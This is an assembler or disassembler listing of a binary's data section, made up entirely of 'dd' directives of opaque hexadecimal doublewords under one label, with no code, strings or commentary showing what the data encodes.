		dd 0F70B61h, 4D286215h,	0EA651440h, 716C81Ch, 0CBE60BBBh
		dd 6DC98496h, 0CD36F8C0h, 601C9EA0h, 1A4B1273h,	91F98121h
		dd 7C4F05ADh, 41C0D412h, 1FC41A0h, 8D213ECh, 6C695846h
		dd 169F0200h, 7A25CC72h, 0A59004A8h, 0E5A6B94Eh, 0E3DDD8h
		dd 5CD424Ch, 30E439CBh,	0A2A8F356h, 6EF230DFh, 8BBAA900h
		dd 28BE8F7Ah, 58EE62ABh, 480009F4h, 3FA8B8AEh, 3A8063A7h
		dd 13C8BBACh, 36000477h, 24887DEEh, 1F81256Fh, 8379FC9Fh
		dd 6016AB76h, 0D0B0B199h, 1900D29Dh, 5AEA7DCDh,	0B3AFF8Dh
		dd 1586EBA6h, 6907E776h, 87A06192h, 164BABh, 24A50847h
		dd 5483FFC2h, 8089E73Dh, 8D62D2DEh, 77C6EA50h, 48110088h
		dd 1BEB6340h
		dd 0E3001E20h, 55E2E029h, 75FC9Ch, 0A417F9A6h, 0DD07BB68h
		dd 0BC38D43Ch, 0AB531EA0h, 1839D55Eh, 148138Ch,	37831897h
		dd 822B28E2h, 7C424E3Ah, 0CCD9120Eh, 88009002h,	0C5CFF1C4h
		dd 38D8A013h, 189C9818h, 1126541Ah, 18602A91h, 56CF4159h
		dd 0AC2C000Ch, 1D81CEE5h, 960099E3h, 4F8259CCh,	1759488h
		dd 0A4686F3Ah, 0C8CB3E6Dh, 4700A233h, 78C6F392h, 1FC791C2h
		dd 5706B616h, 0E59A0C70h, 0D5702081h, 0CB3D78C7h, 0C6AF3070h
		dd 0F4B80082h, 3AFA8954h, 0D830E72Eh, 994029C0h, 0A380C068h
		dd 38F0C9CBh, 0C10E02E4h, 0A039A0D7h, 0A9C28192h, 1EDC7E86h
		dd 4CA10307h, 0C3189396h, 8FB540F1h, 181D8A83h,	0D900FCBAh
		dd 498B51C7h, 0C5020085h, 13C670E5h, 0F400AEB9h, 226674C3h
		dd 10CC7E6h, 5F12AF53h,	741ADC56h, 21030747h, 0EE1FFEFFh
		dd 0BB208116h, 283A2180h, 0AD584431h, 81C14D07h, 63C7DB62h
		dd 3EB6D00h, 45CA00E5h,	0B28F06DDh, 6418667Eh, 11406339h
		dd 7B49C0A0h, 0B01F05E6h, 2069D800h, 0EFDBFC7Fh, 205A6016h
		dd 60093663h, 0B6037777h, 9ED37A3Eh, 68A340h, 5FC11971h
		dd 0EC13B8ABh, 0AC297E0Ch, 10ED08E8h, 182B7CCAh, 0DE316A81h
		dd 0AABA1FCEh, 79050074h, 9D29EEFEh, 0F35A7801h, 3426E28h
		dd 0F04E1C43h, 759FABDh, 2102B9F4h, 6E92003Fh, 80EF4423h
		dd 9A713AD1h, 1E62B1B9h, 7399E037h, 21004308h, 49A49D9h
		dd 0CE80BEBh, 54272BD5h, 433052E1h, 0F905291Ch,	0AAB7007Fh
		dd 1ACA5D62h, 0DF407B74h, 8FC0F56h, 3DDF29Fh, 0E05B5A9Ah
		dd 41490830h, 9FEFB1h, 76692506h, 89E5522Ah, 36786514h
		dd 80A188BCh, 371D21FBh, 0BA08BEF7h, 5E019FEDh,	16863179h
		dd 0EA9F908h, 7067E160h, 81B4DA81h, 51ACF6E6h, 2EE0EE8Dh
		dd 0F300FF3Eh, 0D4C9770Dh, 0E1DDA1Bh, 0E617990Fh, 0F80D88EFh
		dd 75F891E9h, 0F59F0580h, 208C9062h, 0A6011BF0h, 0AC1C9FECh
		dd 0C2C451FAh, 0F884008Fh, 0F43C0913h, 9A484862h, 7EC232Ch
		dd 72585FBEh, 6E19404Eh, 5FB61810h, 0E88D1901h,	6567971Bh
		dd 26DC7183h, 2C801727h, 49308843h, 0A8861938h,	76E31D9Ah
		dd 0F6B30378h, 0FBB07D90h, 0E90BD75Fh, 0C5D2539h, 4231E9h
		dd 71E15090h, 0B2B48411h, 387E5DE2h, 795E9F03h,	0B05865C7h
		dd 4953011Eh, 2E81D0ACh, 92210431h, 0D0222088h,	102327B1h
		dd 9636DD31h, 1F4FA07h,	46F2D2B6h, 422C4747h, 69181BFAh
		dd 0A7E60038h, 27242A22h, 342991B0h, 0E200683Ah, 97EB173Fh
		dd 0CB2F00F2h, 8EC52B5Ah, 300E550h, 8C26046Ah, 874ABAh
		dd 1BDF42D4h, 77FB6915h, 0B3FA18C1h, 18704095h,	0F3D4A852h
		dd 27F905D2h, 3CBB1D8h,	79B6EDA0h, 9D66E90Eh, 970189DAh
		dd 80B19160h, 0DBC373D8h, 4E9A128Ah, 90C42014h,	0F093246Eh
		dd 89A7C01h, 47184AB2h,	74D888h, 0BE3C409Ah, 3BDDFB0Eh
		dd 99ED350Dh, 5D6171AFh, 9DCB2C40h, 27A400F0h, 11ED065Ch
		dd 0CF00B66Dh, 6B6E9B5Bh, 313502h, 0B591CBA2h, 0B6D82C6Ah
		dd 7FF7A70Eh, 9DF1607Bh, 479BF5h, 0CB89B949h, 0BE5EB637h
		dd 10B59630h, 0CEEA71h,	0ADDD17CFh, 0AF750ED2h,	21C0A6E8h
		dd 5FCED354h, 39EB870h,	80D63163h, 207A921Ch, 760099F0h
		dd 8444AFD5h, 75FC40FBh, 0F5540B8Ch, 7D835309h,	31000828h
		dd 5D39CA46h, 0ED863F1h, 0EF984D26h, 8DA10861h,	80C98C9Ch
		dd 0AE3104h, 0E1B4B9A7h, 42EBEE5Ah, 3928410Ch, 309A28C6h
		dd 0B6A99D4Dh, 40C08B0Bh, 99260C7Eh, 0D280535h,	2072B93Dh
		dd 0EBCED678h, 0AF43177Dh, 581CA922h, 0B7C0CEDFh, 2F0CFDD1h
		dd 30DDF8A8h, 9120B1B6h, 73A7515h, 32FF8331h, 374F3896h
		dd 26811C08h, 0FD0E205Bh, 0E18E7421h, 0C4399D16h, 489C4Ch
		dd 0DA9BB46Dh, 977C81FAh, 8613EF00h, 0A73C75AEh, 59DE02Ah
		dd 2D5FC601h, 0A98C4090h, 20EAD5D4h, 0B172E214h, 0D4732EABh
		dd 0DC472130h, 0A15D01D5h, 99986D64h, 0D900CFBEh, 3D233BBCh
		dd 48417BABh, 0B16A789Eh, 94BD141Ch, 58CA2E8h, 9AD9220Bh
		dd 111C00A0h, 0D651F124h, 0BBBA6201h, 646D86Dh,	80596091h
		dd 17EECEDDh, 0C4A775h,	0DDCEC651h, 4206ED8Bh, 8A35A1D6h
		dd 4904CB1h, 6C10230h, 0ACA8050Bh, 41C097BEh, 48B7613h
		dd 6F2605ECh, 85E1D08h,	0D5C762A8h, 0AA20D310h,	0C6FA8673h
		dd 0DD4C80h, 0C9BE41D5h, 0A0E7C557h, 9C4A6C06h,	0F2699B83h
		dd 518D6887h, 1C8F1184h, 9B85841Ah, 0E43A0C5Bh,	0A603B623h
		dd 8FBDD0ACh, 0BC45B7B0h, 0A2610C46h, 6929A88Fh, 0EC191B24h
		dd 0CC0184A0h, 90FB3043h, 0C4008BDh, 1E6B26D5h,	0A946AFC7h
		dd 18A8D1C4h, 0B7702E2h, 90A1E614h, 6B087880h, 280A60C1h
		dd 0C805B732h, 7DFF3980h, 3B83845h, 0B0C6E54h, 0C3A85B2Eh
		dd 0D60030B5h, 59C1516Bh, 291BF1D5h, 919419FCh,	0D1EB8A68h
		dd 743A2005h, 239D9432h, 7EF8D362h, 920982h, 99C50D00h
		dd 3D4A93A3h, 0C7420010h, 24A81E83h, 20188BCDh,	6A91112h
		dd 48CC600Fh, 0FB2FEB89h, 9E29DC18h, 3E4BF9h, 8FBB1A65h
		dd 348DDF3Ch, 0D7CC8B09h, 910897BAh, 6FB98E19h,	9BE32051h
		dd 28F33714h, 3C5C2105h, 0F1AC3EBh, 0B40F91C6h,	1CA4B468h
		dd 0CDF86760h, 0E8B60041h, 737BBF7Eh, 9501F2A0h, 8562A24Ch
		dd 8CF0B274h, 0E2A8C8FEh, 2C0776C1h, 4629CD7h, 0E85E7423h
		dd 9981F2ABh, 0AA7000D8h, 9DB8BA95h, 7F6BD501h,	0F13CFDC0h
		dd 2462B9C9h, 7830A8E2h, 7F600BDh, 0F29B2EE6h, 8C28A1F1h
		dd 3C8074A8h, 1E00F32Ah, 0AFBBF735h, 158FA434h,	90C781DEh
		dd 43312B07h, 150B536Ch, 125346F0h, 41C022E8h, 1F4269C8h
		dd 2E2F144Eh, 1B3A30A1h, 9B0D700h, 8C043E2Bh, 0EC9B3907h
		dd 0E15738EEh, 95D86853h, 1723382Eh, 2CB9E300h,	248788BAh
		dd 11680D73h, 0D5EE8061h, 439220E0h, 49887573h,	7FD503D6h
		dd 9D226EA8h, 0D24688F6h, 78432D0Ch, 44A9120Ah,	668C1018h
		dd 0B63D0342h, 1682171Ah, 6C101900h, 53499AEFh,	3A632E54h
		dd 81991DF5h, 1B6E393Fh, 448CA14h, 91C08E30h, 27549D77h
		dd 0D69506BEh, 89D10E05h, 308AC224h, 7883DC11h,	77AA2E07h
		dd 0C2122A31h, 977F7A00h, 5672064Bh, 3EC8BBEEh,	149FBE24h
		dd 0AA9ED80h, 16A7C2h, 0E8588222h, 9A011999h, 1E4DF400h
		dd 10A8785Eh, 7DFE0043h, 0E805B4D2h, 1C52067Fh,	0A1BE18C8h
		dd 6B2451h, 0E9ECEADCh,	9108994Eh, 0CDF28200h, 0E8F89ACEh
		dd 14898C8h, 0D498CCB5h, 0FF80DB68h, 0C74CE907h, 67411F05h
		dd 8D4D2D7h, 0BBCB00F1h, 0C22DFD65h, 9C0076C4h,	0DA38E5F8h
		dd 501DDCh, 5747580Ah, 89C317A3h, 5429EC2Eh, 0F1B07947h
		dd 0CD9FDCDh, 42D3021Ch, 0C802D840h, 73211B9h, 5064440Dh
		dd 502B6423h, 19F655h, 0BE04053Bh, 2FD393B7h, 0A8753A14h
		dd 3D0A3D8Ch, 0CA5412E9h, 1FDA680Eh, 1BD1DE81h,	0E2705612h
		dd 0C81A54B7h, 2C530FC5h, 37E06145h, 5107665Ah,	0B3A4E900h
		dd 8AB980Fh, 0A0267428h, 89E094h, 0FEA2B995h, 0AFB74693h
		dd 305C089Ah, 9ECD80DCh, 0C37C1Dh, 45084F66h, 34063FDCh
		dd 24A1713Ah, 2042F00Eh, 4C50C41Ah, 83C338D7h, 0ADC897B0h
		dd 9060E119h, 0EB8B3D8h, 71B92865h, 5A2900FCh, 0E19B3431h
		dd 0C20106CEh, 0DC508D7Fh, 0DC50FF80h, 0F9CDE8h, 0BDD43F7Bh
		dd 152B7079h, 38906AB8h, 3088D44h, 0C30FEB60h, 0A38B311Dh
		dd 0F54C1900h, 54F144D0h
dword_53A858	dd 9F33B2Fh, 2FF141Eh, 83020431h, 0B200C864h, 437D94DCh
		dd 3B3132Ch, 57683DEDh,	0C8C8CB24h, 31371E22h, 8F90599Bh
		dd 5C964h, 0F0C5DE89h, 0E15033EFh, 1172B000h, 0E02ECF71h
		dd 9D9007Ch, 0EB0B6A52h, 1600BF4Ch, 2C93F7C7h, 3858A414h
		dd 0E4D4131Bh, 61A7602Dh, 8A84E2F1h, 0E01FF47Ah, 8742ECA9h
		dd 40D970AFh, 2633DD08h, 40B830F6h, 46AD762Bh, 1B0A3600h
		dd 474A3C8Dh, 839A12D8h, 0B93C466Dh, 0EC806906h, 8C00808Eh
		dd 1F3E7D6Ch, 0A0D28C8h, 1C1B07F8h, 9AD340E8h, 41DF9584h
		dd 70046B12h, 0C4C827BEh, 0C5670039h, 8115315Eh, 21EBAF7Eh
		dd 1480337Ch, 2099BEh, 9C218E57h, 30E66A96h, 29101B7h
		dd 0FA0E7622h, 406B8312h, 9882E0BEh, 0F72600E8h, 0AA75970Dh
		dd 81CAFC8h, 6EC20644h,	40500F32h, 4CBB3EECh, 90801880h
		dd 292A7337h, 0D3484600h, 13C8D484h, 4FDEA94h, 286FB9ECh
		dd 0E70CC882h, 60133E77h, 3C1669BBh, 0F8F62420h, 0EFD001D7h
		dd 2966E674h, 0FAC980A5h, 92EC9338h, 0E9E10B16h, 0DF07C53Ah
		dd 2A3FA304h, 22830A91h, 769A00FCh, 0CEC96FCFh,	0CD7525h
		dd 0A7956C6Eh, 9B7E27DEh, 0BC884702h, 0C487A1EEh, 20815120h
		dd 0A4E2ECh, 9D7DA840h,	2F762C42h, 709E438h, 7F48F30Dh
		dd 5F01820h, 1C825084h,	0C42B00D3h, 0DE0BDBBAh,	5800D09Bh
		dd 9C153EB2h, 5A8285h, 1B36EC37h, 106BCAD1h, 28525C0Bh
		dd 0A7B4045Eh, 39585B43h, 4F3116A8h, 0FBC64001h, 1E80C7C2h
		dd 35306984h, 2287F05Dh, 7C0875Ch, 0C85AE536h, 149A4E6h
		dd 4BCAF9FCh, 0DC167519h, 0B724D46Dh, 0AC80000Dh, 0BAC01BABh
		dd 0EFC4Eh, 0CCEDA247h,	7A8DC75h, 6C5E932Ch, 60590C11h
		dd 9AFCA00h, 992E5143h,	8F7C69C0h, 7368DD4h, 0AB1D263Fh
		dd 4843B0B4h, 7D1340B1h, 7C008019h, 0C064D4F4h,	43BE4E71h
		dd 83AB0E90h, 0E37E05F0h, 7F28F000h, 3561A2F8h,	0FFE70C20h
		dd 569073FDh, 0C305D4E4h, 2BB6D6D8h, 91299B09h,	14C82FF0h
		dd 0F3F00DFh, 9A9619Ch,	5D02C817h, 0D0516A1Dh, 12F3C10Dh
		dd 2CB66820h, 5CD30Fh, 0BD753DAEh, 34B98FA2h, 67B30900h
		dd 0BACFABh, 0BB08B7E7h, 307772CDh, 84386900h, 0A66F8E28h
		dd 560E14EEh, 0B626E8E2h, 1A167C4h, 0CD559FC9h,	0E69C41D6h
		dd 343D27h, 0E22A510Ch,	14BD779Eh, 882902B4h, 0B9601E8Eh
		dd 8E2ADA25h, 6A2B1D00h, 9926BB20h, 27F8B6h, 60F415E3h
		dd 668D3D9Bh, 11CC0600h, 0D9C4FE2Dh, 9C1801EBh,	80C1E710h
		dd 0FC918120h, 7E839478h, 1DE2430h, 0F2857157h,	3CD5C718h
		dd 3B588018h, 249F54BBh, 1DB6ABB1h, 5B260297h, 0F06490A2h
		dd 0B951590Eh, 0A91C8084h, 73109AD6h, 308858E5h, 0C93013h
		dd 0FDCA9B98h, 89FAB97Ah, 1426E491h, 0AA00A111h, 0C5B91D4Dh
		dd 0F60B8D12h, 0C7AF17h, 0A4D6518Ch, 0D1ED0CB1h, 0C05847F5h
		dd 0A02CD2F0h, 81439831h, 9B90B03h, 8F80C23Ah, 0D472D3A4h
		dd 0DB9A6601h, 5BB811F7h, 8B5CC1EAh, 0B7F07310h, 0E711036Eh
		dd 0A3F09F21h, 1243FD22h, 0B50CAF3h, 0FC096B1Bh, 0DBF2CC10h
		dd 0F6A1F10Bh, 84B8987Ch, 83320017h, 4F2DFA70h,	4700604Ch
		dd 611CABFBh, 0C28BA294h, 0F169B541h, 36CA2C40h, 7EF81200h
		dd 0D2E666D5h, 0D74C1278h, 6A240114h, 3DB875C0h, 87EC71C8h
		dd 5EA21805h, 30813BF3h, 0E08A19Eh, 52FCA88h, 19166DC6h
		dd 81B8C1F7h, 0DD905021h, 0FB39A07Bh, 6E4B9D10h, 43D4A2C0h
		dd 3C4C9EEFh, 8E11B2EAh, 0C5082C8Dh, 52BD602h, 0BFC406Ah
		dd 26A40288h, 1C073056h, 0EB141844h, 4BFDD92Eh,	70BDC5Eh
		dd 0F844100Ah, 10C048E2h, 0DC27D714h, 124B9F80h, 22005CA2h
		dd 5642194h, 7688F546h,	95DB2E35h, 71011B4h, 0FFF49CC2h
		dd 0E30545B1h, 0F0C7030h, 63A91432h, 0DA3FB380h, 0BC000DABh
		dd 3018D20Fh, 1142F8Ch,	50AF0C1Fh, 0D95D8DCDh, 9062F401h
		dd 40401730h, 0DE931Fh,	0B0D451ADh, 1D2835Eh, 216C1900h
		dd 92A9B27Bh, 355F0789h, 4D8F4546h, 0A1E6FC79h,	530D7200h
		dd 5B1A36AEh, 3E40E28h,	4303924Ah, 9EF88DD6h, 0DE0ADFFCh
		dd 4839E131h, 164AB600h, 74289C6Ah, 300A0C87h, 0D42133C5h
		dd 6C016903h, 0B25E841h, 79513071h, 8587CC00h, 3FF202E2h
		dd 529FAA00h, 56645CFCh, 30297BBDh, 0A84934DFh,	58008C81h
		dd 7E660DADh, 609F6476h, 1539F907h, 61C0228Fh, 6FE61DAFh
		dd 0CF832A60h, 4FDC0774h, 0EEE0B23Bh, 20F56583h, 0C5E2AE0h
		dd 0A7670E00h, 0FE03D7CFh, 8F4B18C5h, 0DB993937h, 7205EB00h
		dd 0C825E4FAh, 87BE1DE9h, 50B00006h, 0F9D94CDEh, 3BF8881Bh
		dd 0BC0C5B1h, 58C872BAh, 9070127h, 0EA91DBBh, 61BC5CA1h
		dd 0F9608020h, 9C77927Dh, 0D11600D9h, 437C8794h, 0FF74715Dh
		dd 0F051D4h, 702D4854h,	0C4018Fh, 7DE01626h, 21F29C2h
		dd 8AED9800h, 5C0867A0h, 17B61571h, 0B000905Dh,	0A38D9AF1h
		dd 0A9E21610h, 9F8A6000h, 42053BF4h, 0E8550F6Eh, 1F63372Dh
		dd 3AE8966Ch, 0B4545C91h, 0FF521054h, 1D5158C8h, 0A92B5EBh
		dd 38450C1Fh, 84002707h, 0E9D420Fh, 5087032Bh, 3C6A262Ch
		dd 848A3900h, 3AB207BAh, 83D82604h, 9F100094h, 1C266F58h
		dd 9230490Ch, 0E0A23135h, 0C9616F16h, 0AEDA0280h, 837A2177h
		dd 524A8B0Fh, 5184E1BAh, 0EEF4C09Ch, 40D80B78h,	9C093027h
		dd 4A87B103h, 6015514Ch, 0B55B75D1h, 0D9FB009Ah, 0F8A592E2h
		dd 0A002600Bh, 747BB3A6h, 84F080DEh, 2A42BD73h,	0EEFC815Dh
		dd 8CCF1285h, 86104039h, 5E62D247h, 8F486E0Ch, 0D51931h
		dd 70E2F2E3h, 469D6377h, 84F4C639h, 363B1003h, 233C9482h
		dd 99006C5Ah, 0B4861CD2h, 3246B507h, 3B283708h,	44934122h
		dd 508EF874h, 88606C2Fh, 0C600E903h, 8E506349h,	9848D4h
		dd 65F0F7D9h, 7AAF10FEh, 94FF1D03h, 0D9D29A8Ch,	0B05013BDh
		dd 184A6D2Eh, 593E6AE1h, 0D9000D63h, 7C9BE539h,	0F4E03734h
		dd 10B5305Ch, 69653220h, 94B4F949h, 43007756h, 17CC467Fh
		dd 405E97h, 0F8878492h,	8FF4942h, 0F461650Fh, 0A7F4D0h
		dd 4FAB7FA9h, 3EFB457Eh, 7700D924h, 670D951Ah, 0EE00C9D0h
		dd 9D3F051Dh, 0F079C09Ah, 0F5B13910h, 0B02E1E81h, 0D08C3E11h
		dd 6D03BD8Eh, 989E3B52h, 0BCC380AAh, 31A414BEh,	0BD8798CBh
		dd 38C083BFh, 0AD21118h, 0E0574930h, 56D00732h,	903D5B35h
		dd 55429BB5h, 0A002948h, 986317A0h, 0A3196C80h,	3F07C5Fh
		dd 3E8F0FA1h, 0D9B22DAh, 0FD1F1C9Eh, 574A394Eh,	5A80D067h
		dd 0F8809C33h, 0D374003Fh, 0F295C5D5h, 6B00C9C0h, 2C8BF963h
		dd 0A833ED42h, 0C05716A8h, 0CCB4BA71h, 0C700676Fh, 3F419C02h
		dd 0E4E5AEAh, 8C33DF2Bh, 393190C0h, 3A6E8F87h, 189C341h
		dd 3DD7D08Eh, 0C5370772h, 0F1924959h, 329E6505h, 0CC3128A4h
		dd 0CF9A691Fh, 1949A00Ch, 17B72961h, 0EA40CF8h,	273D3619h
		dd 0D0E40095h, 249C6034h, 5CEA0CE6h, 1FF16EB8h,	0B630FE78h
		dd 0C052116Ah, 839F3762h, 8E5183A8h, 0A46489C8h, 8C590861h
		dd 209FE963h, 9C690A6Ah, 8D17C0h, 0ADAC5825h, 164C2D87h
		dd 0B748270h, 8F654059h, 0A3D60021h, 1D0CB2E2h,	5C00DD1Ah
		dd 70EEE8A6h, 4916D231h, 0AE38ECA7h, 996D5818h,	86013802h
		dd 30154CEFh, 26ECE5E7h, 70F900CFh, 6EE09551h, 0E606D018h
		dd 68572778h, 0C9AC0039h, 91CD6167h, 0AD0B4BECh, 9CF9E06h
		dd 6588231Fh, 0FFCB8887h
		dd 4584832h, 0D3E44C80h, 44003E0Fh, 0F742744Ah,	52B65A2h
		dd 648C13A4h, 9B425B1h,	0D4831D70h, 41026657h, 0D9A541F0h
		dd 1BAE0A3h, 45689055h,	0C846C20Dh, 1DF1D000h, 6129F6F4h
		dd 0E21B85Bh, 0CB8C8B48h, 794EF8E0h, 0B499357Bh, 75CE5480h
		dd 394F896Eh, 0F10F9F55h, 0ABA53A80h, 41CC821Bh, 0CE804828h
		dd 0EE15A4A0h, 0E81EB836h, 0B1F8009Fh, 0B020D13Dh, 0E0982AFh
		dd 0F5B67A09h, 0DD39B38Ch, 0DC9940Eh, 0A3A84012h, 6F01A9h
		dd 0FBA1C140h, 0E5E456Dh, 16033C17h, 0ECF17420h, 0EDF00022h
		dd 0C2856A98h, 2704EA79h, 12F5987h, 80640D04h, 405418D8h
		dd 38904115h, 92FF0788h, 0C2313356h, 308437EBh,	0CCD30F76h
		dd 0C500C47Ch, 5CF5CAB3h, 2898010Bh, 0C42E16h, 9F96DE8Eh
		dd 66C00261h, 4803BCF8h, 6AA9ABAFh, 0F241003Fh,	0FAA3605h
		dd 6D00DD5Ch, 0B953754Ch, 485ED527h, 58790C2Bh,	0D48200FFh
		dd 1A606849h, 0C600E5A9h, 72E2A178h, 2EE55A6h, 89CEA48h
		dd 60C45822h, 0FE35001h, 82853AE0h, 7509C9CCh, 0FF0D00C3h
		dd 1B5F131Ch, 5500D92Fh, 0A5BEFEB5h, 0A448DF31h, 0FF6344DCh
		dd 40BFDE5Ch, 5600CED9h, 0D859C71Eh, 72823925h,	0EBA70093h
		dd 9A9E0DB3h, 4E1E6B7Fh, 41B442C0h, 0EC444C1h, 228C0511h
		dd 8DBD1C3Ch, 0A0DCCC8Eh, 8BA68876h, 443F0084h,	5B66375Ch
		dd 4939C5B4h, 64508409h, 38C84AA0h, 0A1044B6h, 0B098BC00h
		dd 3197A6A1h, 92020262h, 0FE058479h, 91C814C3h,	0E4A01ABAh
		dd 0A306B388h, 261EA95Ch, 9E1D0108h, 0F35D2E52h, 62E034C7h
		dd 733E6088h, 6DFD0026h, 0FFA47AD3h, 0E3EC08B4h, 5D8F121Ch
		dd 0D13D8C0Dh, 4BCEE0h,	4981EAB3h, 0DF1D5984h, 10071B09h
		dd 9704C42h, 0BF533767h, 0B9815C87h, 3A10E888h,	0D8080F98h
		dd 0E90BA8B1h, 4CBF4A7h, 30800C88h, 0C7039Fh, 4E5131D0h
		dd 48C26C0Dh, 3CB116EEh, 29B54200h, 74A1E7Bh, 5CC1617Ah
		dd 0B600C948h, 76A4B805h, 1AD22514h, 0A1810390h, 308FFDh
		dd 508B2F81h, 714AB6F3h, 94271803h, 0A8DF3DE8h,	483142C8h
		dd 57854C92h, 0C0F4406Fh, 0B4D6B84Dh, 7CC935Ch,	42856164h
		dd 6C102375h, 1A402B8h,	808F8E37h, 1FD3730Ch, 0C865484Ch
		dd 3A072900h, 173944B3h, 0F484CF50h, 0EA07AF73h, 0D3A7B032h
		dd 609A6076h, 2663F144h, 0C7EC2443h, 140CCC58h,	14B43566h
		dd 0DD8C2787h, 0EA998C0h, 0A6CA24h, 0E2D7A3B4h,	0AB65229Dh
		dd 0C4AE7B00h, 0B0103E75h, 3819F2A6h, 0EC5D7F2Eh, 0E865860h
		dd 0F5043501h, 416A2B20h, 103C0C00h, 0A90082ECh, 83CD7B70h
		dd 0C755F25h, 4B175A87h, 79E82A81h, 0DE5DE50Fh,	0FC56BBCh
		dd 3800169Ch, 0A4D561B8h, 1654900Ch, 94FF050h, 74111394h
		dd 9E8BA60h, 910365h, 863A84B8h, 248948BDh, 0B05C7A05h
		dd 8CC8457Dh, 0CCB04136h, 30137B0Eh, 9970EAD6h,	9042A818h
		dd 2C091429h, 268F0639h, 0A2C4028h, 48B02735h, 0EC87944h
		dd 1A64BC9Dh, 84F66340h, 37546A83h, 31008080h, 2901973Ah
		dd 605889C6h, 3BD53965h, 64005510h, 413DACAAh, 0B2BA65Fh
		dd 0BC5C0857h, 0BB65B010h, 0C51734B9h, 589E000h, 25FACAh
		dd 0AD066187h, 0B8650F66h, 38290D60h, 0C02E8650h, 0D08578C9h
		dd 3607989Fh, 87BB2796h, 29E8BD80h, 8FC11D1Bh, 548ADE81h
		dd 23228011h, 6C00089Ah, 0C3658762h, 6EB3A0h, 3367690Dh
		dd 0D299BC3Dh, 0AC4E8C4Ah, 11C881F0h, 0A0209AA3h, 3B201D16h
		dd 401C263Ch, 16AF06Bh,	60394300h, 0CF158BE7h, 39EEE2A3h
		dd 42087FF7h, 18224F9h,	4085E74Ch, 0A48669E8h, 0A4BD00DCh
		dd 77985DE3h, 2117910Bh, 0B0640A96h, 0EAA838C0h, 0F9D10261h
		dd 8681C078h, 0FA7DE444h, 5700D5E6h, 29A2E9AFh,	0EE896F7Fh
		dd 0C7902463h, 86A63C68h, 3B3A4060h, 500E2CA9h,	0C9DE07A1h
		dd 92C8039h, 24A48287h,	3B34B1BDh, 0F4A06AA5h, 0AC8AEAADh
		dd 7991D40h, 0B94EBB09h, 7C1000B0h, 0F1593C39h,	0C00C17B4h
		dd 6AEECB03h, 21410040h, 0A3E4A648h, 5D00BE85h,	0CD3AE583h
		dd 0B87DE9h, 9F49221Bh,	670D969Dh, 5C85862Eh, 63EDCF60h
		dd 0FA790071h, 881D664Ah, 23006BC4h, 6D86A8E4h,	51DB1Eh
		dd 3ECF1A16h, 3687C001h, 62A048F1h, 0A3E1CD09h,	0AC34A659h
		dd 0E76C1308h, 52600073h, 867597D0h, 9C104C12h,	447C0C80h
		dd 0D8944C41h, 0F26A9F87h, 9459A565h, 0F3C7A807h, 69473FC4h
		dd 53C0CF1Dh, 92F66BD9h, 0BCCB093Fh, 0BEA79670h, 6015F80Ch
		dd 18D0241Eh, 0A58A002Ch, 0A2A95536h, 0D862B428h, 7326607Ch
		dd 0CD60BC5Eh, 893C01h,	4F278F52h, 0A5FA6964h, 3C40FF5Ch
		dd 84EC4970h, 43C65D42h, 38890060h, 0C4B2568Eh,	549901D0h
		dd 727DB580h, 16E1881h,	77E8D36Ch, 40FFF849h, 6F9D0568h
		dd 2DE5D700h, 798C4EEh,	74AF04D9h, 0E297A90Dh, 44750038h
		dd 0C4E6EF4Ah, 0B501D8Eh, 77AD407Bh, 99135618h,	49CEA5A0h
		dd 0B984CE1h, 35752A00h, 91FDE65Bh, 13B70056h, 22654E47h
		dd 1500BE16h, 279730EFh, 8BFEDh, 0BD0FBC18h, 929A9F1Ah
		dd 0C1602000h, 2C3EB783h, 4B8CFh, 44BB451Bh, 9E0E7DC5h
		dd 6003A100h, 646757DAh, 403096BAh, 4517265Dh, 0F81611C0h
		dd 0BF81C8h, 5A516FE7h,	171097C2h, 408C0826h, 0BD76AA40h
		dd 0CC3E0020h, 0D98443E4h, 0CD07511Bh, 0C4698560h, 8901C0DAh
		dd 31CAA411h, 2A444CAh,	5B8297D4h, 78C024CDh, 0AD0052D2h
		dd 9E2D7E79h, 9CF9D60h,	50BD4592h, 0B20030C4h, 367D8CAFh
		dd 72BDFC3h, 0D69277EBh, 8E54A0C6h, 0D00E0C0h, 666EE9FDh
		dd 96B95CCDh, 3034804Ch, 15EE5139h, 0DB55AC0Bh,	0EB448793h
		dd 201796C8h, 260B59B0h, 8CB3AE09h, 665480C9h, 286738h
		dd 9291F43Bh, 6ED75F86h, 8E5AE200h, 248271E9h, 62687DC5h
		dd 9BBC5134h, 25B276C0h, 7E2C5700h, 0B81AD3F1h,	0A2500703h
		dd 0D09EBF58h, 3F82C0F0h, 0CF94BC17h, 0B0F57C00h, 7AFB7h
		dd 38FFDFCAh, 0E9FE3427h, 1012721Eh, 0C183A50h,	706A9023h
		dd 0D0CCD82Ch, 54D73D60h, 0B1D90097h, 0B3EBFD7Fh, 5602B0DAh
		dd 0E03406A4h, 6C606037h, 24FB1CDCh, 27FE02BEh,	98A17E58h
		dd 802994FDh, 99E93C90h, 0D4AAFCh, 3463E8B9h, 321213BEh
		dd 0B5B720CEh, 0F80F289Ch, 97AC2850h, 0BC002545h, 4315F85h
		dd 0BC3C6876h, 7D00C211h, 6000E8D1h, 9AA1E469h,	2F7F0027h
		dd 772B80F3h, 6F00F946h, 94C19F9Bh, 0B1EF4248h,	0DB660064h
		dd 3143099Eh, 5C6278C2h, 220E4B7h, 0D22FED3Ah, 187A9F65h
		dd 80406448h, 235390FCh, 3AE49848h, 387B6D69h, 0BB80B018h
		dd 633EDBAh, 31C3426Ah,	1FF30A6h, 7910B516h, 0C45E75A5h
		dd 0D45C99B6h, 20E7CF4h, 82B45635h, 66FFFD51h, 0E08D0030h
		dd 4CCB8C25h, 99ECFC88h, 0C5385B02h, 64B7647Ah,	0CA350058h
		dd 657D6C9Eh, 9202D25Ah, 0D9832182h, 0A2D860D6h, 187518A6h
		dd 6487315Fh, 9ED5C3Dh,	80D6FB6Ch, 56938EA8h, 660A0CD1h
		dd 0F838051Eh, 0E94AEC9Ch, 0D2B26502h, 82C0981Ah, 0E56A0BB8h
		dd 9580AB9Ah, 12FA9C4Dh, 0F4E3F4F5h, 0B4CBDF00h, 9E35642Ah
		dd 889D01F7h, 65D07558h, 55D9E069h, 0CF5EB105h,	0D0403C8Ch
		dd 0AC1E817Ah, 3F16000Eh, 8AF70275h, 0C65E31EEh, 0DEB59820h
		dd 42BA26D2h, 4B8266Ah,	88581065h, 69009FDCh, 338D1DDCh
		dd 9253B99h, 1CBE372Fh,	9F00D0C4h, 3CAF7D39h, 20E1D7h
		dd 80A11041h, 600D5EDEh
